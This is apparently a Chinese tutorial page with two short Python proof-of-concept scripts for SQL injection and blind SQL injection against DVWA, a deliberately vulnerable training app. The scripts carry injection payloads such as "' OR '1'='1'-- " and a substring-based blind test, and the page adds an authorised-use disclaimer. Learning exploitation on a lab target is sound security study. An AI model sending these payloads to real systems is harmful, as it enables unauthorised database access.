使用poc对DVWA(security=low)进行sql注入和盲注攻击
时间: 2024-02-04 18:02:04 浏览: 80
DVWA下的SQL注入
5星 · 资源好评率100%
对DVWA(Damn Vulnerable Web Application)进行SQL注入和盲注攻击是为了演示和学习安全性问题,需要在合法授权和合规的环境下进行。以下是一个简单的POC(Proof of Concept)来对DVWA进行SQL注入和盲注攻击:
1. SQL注入攻击:
```python
import requests
# 设置目标URL和payload
target_url = "http://dvwa.com/vulnerabilities/sqli/?id="
payload = "' OR '1'='1'-- "
# 发送注入请求
response = requests.get(target_url + payload)
# 判断注入是否成功
if "User ID exists in the database." in response.text:
print("SQL注入成功!")
else:
print("SQL注入失败!")
```
在上述代码中,我们构造了一个payload,其中使用了SQL注入的技巧,目的是绕过原始查询条件,使查询结果始终为真。然后,我们使用requests库发送带有payload的GET请求到目标URL。最后,根据返回的响应内容来判断注入是否成功。
2. 盲注攻击:
```python
import requests
# 设置目标URL和payload
target_url = "http://dvwa.com/vulnerabilities/sqli_blind/"
payload = "' OR substring((SELECT database()), 1, 1)='d'-- "
# 发送盲注请求
response = requests.get(target_url + "?id=" + payload)
# 判断盲注是否成功
if "User ID exists in the database." in response.text:
print("盲注成功!")
else:
print("盲注失败!")
```
在上述代码中,我们构造了一个payload,其中使用了盲注的技巧,通过逐个查询数据库名称的字符,并通过判断响应内容来确定字符是否正确。然后,我们使用requests库发送带有payload的GET请求到目标URL。最后,根据返回的响应内容来判断盲注是否成功。
请注意,以上代码仅用于演示和学习目的,不得用于非法用途。在实际环境中进行安全测试时,请遵循合法和合规的规定,并获得合适的授权。
阅读全文